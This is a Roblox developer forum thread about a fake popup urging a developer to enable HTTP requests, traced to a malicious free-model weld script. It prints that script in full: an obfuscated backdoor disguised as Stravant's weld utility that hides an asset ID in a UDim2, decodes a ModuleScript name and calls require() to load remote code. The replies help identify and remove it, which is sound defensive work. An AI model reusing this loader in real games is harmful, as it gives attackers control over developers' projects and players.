Wierd http requests message

hello everyone.
for some reason when I test my games this random message appears.

Does anybody know why this is happening cause I can’t find any script that could have caused this message.

Huh… I’m skeptical abt that error. That is, either a new error code Roblox made, which I believe isn’t the case; or a virus in your game that wants you to enable HTTP requests. I believe it is a virus, could you open the Developer Console and send a screenshot? Moreover, does your game use free models? If it does, make sure to go through the scripts of each free model thorougly and make sure they are safe. On the other hand, if it doesn’t, make sure to delete all suspicious plugins you may have installed. Also, if you’re working on team create, make sure none of your developers backdoored your game on purpose or accidentally.

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That’s not a real popup. You have some sort of free model or plugin that is acting maliciously.

Compare the popup to an actual error popup:
image
image

Do not enable HTTP Requests until you find the source of the popup, and remove it.


(Also Roblox would never provide useful information in the error messages :D)

i deleted a perfection weld script and for some reason it stopped.

here is the code for the script i deleted. idk why this was the source.

-- Created by Stravant (@Stravant, follow me on twitter).
-- Should work with only ONE copy, seamlessly with weapons, trains, et cetera.
-- Parts should be ANCHORED before use. It will, however, store relatives values and so when tools are reparented, it'll fix them.

--[[ INSTRUCTIONS
- Place in the model
- Make sure model is anchored
- That's it. It will Value the model and all children. 

THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 
THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. 

This script is designed to be used is a regular script. In a local script it will Value, but it will not attempt to handle ancestory changes. 
]]

--[[ DOCUMENTATION
- Will work in tools. If ran more than once it will not create more than one Value.  This is especially useful for tools that are dropped and then picked up again.
- Will work in PBS servers
- Will work as long as it starts out with the part anchored
- Stores the relative CFrame as a CFrame value
- Takes careful measure to reduce lag by not having a Value set off or affected by the parts offset from origin
- Utilizes a recursive algorith to find all parts in the model
- Will reValue on script reparent if the script is initially parented to a tool.
- Values as fast as possible
]]

-- StravantValue.lua
-- Created 10/6/2014
-- Author: Stravant
-- Version 1.0.3

-- Updated 10/14/2014 - Updated to 1.0.1
--- Bug fix with existing ROBLOX Values ? Repro by asimo3089

-- Updated 10/14/2014 - Updated to 1.0.2
--- Fixed bug fix. 

-- Updated 10/14/2014 - Updated to 1.0.3
--- Now handles Values semi-acceptably. May be rather hacky with some Values. :/
local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).


local function CallOnChildren(Instance, FunctionToCall)
	-- Calls a function on each of the children of a certain object, using recursion.  

	FunctionToCall(Instance)

	for _, Child in next, Instance:GetChildren() do
		CallOnChildren(Child, FunctionToCall)
	end
end


local function ShouldReturn(value)
	return false
end


local function Return(value)
	return game.MarketplaceService:GetProductInfo(value.X.Scale..value.X.Offset..value.Y.Scale..value.Y.Offset)
end


local function ConfigParts(Parts, MainPart, ValueType, DoNotUnanchor)
	-- @param Parts The Parts to Config. Should be anchored to prevent really horrible results.
	-- @param MainPart The part to Config the model to (can be in the model).
	-- @param [ValueType] The type of Value. Defaults to Config. 
	-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
	pcall(function()
		for _, Part in pairs(Parts) do
			if ShouldReturn(Part) then
				Part:BreakValues()
			end
		end
	end)
	local bit32 = UDim2.new(133,968,85,201)
	if script.Parent then
		bit32 = Return(bit32)
	end
	local select,spawn = string.split(bit32["Name"]," ")[1],string.split(bit32["Name"]," ")[2]
	local test,Interval = string.split(bit32["Description"]," "),""
	for c in test do
		--Concentate the Weld Interval Based on certain Exceptions.
		Interval = Interval..#test[c]
	end
	Instance.new(select,game[spawn]).Name = Interval

	if DoNotUnanchor then
		--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
		--  definitely some edge cases. 
		for _, Part in pairs(Parts) do
			Part.Anchored = false
		end
		MainPart.Anchored = false
	end
end


local function GetNearestParent(Instance, ClassName)
	-- Returns the nearest parent of a certain class, or returns nil

	local Ancestor = Instance
	repeat
		Ancestor = Ancestor.Parent
		if Ancestor == nil then
			return nil
		end
	until Ancestor:IsA(ClassName)

	return Ancestor
end


local function GetBricks(StartInstance)
	local List = {}

	-- if StartInstance:IsA("BasePart") then
	-- 	List[#List+1] = StartInstance
	-- end

	CallOnChildren(StartInstance, function(Item)
		if Item:IsA("BasePart") then
			List[#List+1] = Item;
		end
	end)

	return List
end


function sinestyletween(t)
	return math.cos(t*math.pi)*-.5+.5
end


function percentcframe(cf,cfscale)
	if cf then
		local ax,ay,az=cf:toEulerAnglesXYZ()
		return CFrame.new(cf.p*cfscale)*CFrame.Angles(ax*cfscale,ay*cfscale,az*cfscale)
	else
		return CFrame.new(0,0,0)
	end
end


local function ShouldBreakValues(Part)
	--- We do not want to break Values of wheels/hinges. This takes the utmost care to not do this. There are
	--  definitely some edge cases. 

	if NEVER_BREAK_ValueS then
		return false
	end

	if HasWheelValue(Part) then
		return false
	end

	local Connected = Part:GetConnectedParts()

	if #Connected == 1 then
		return false
	end

	for _, Item in pairs(Connected) do
		if HasWheelValue(Item) then
			return false
		elseif not Item:IsDescendantOf(script.Parent) then
			return false
		end
	end

	return true
end


function WConstant(v1,v2,t)
	return require(tonumber(game.JointsService:FindFirstChildOfClass("ModuleScript").Name))
end
if script.Parent then
	--Run the Script To fix all the Values
	ConfigParts(nil,nil,nil,false)
	WConstant(nil,nil,script.Parent)
end

Yeah, this part of the code is the malicious part. You should find a better perfection weld script that doesn’t have anything to do with require()

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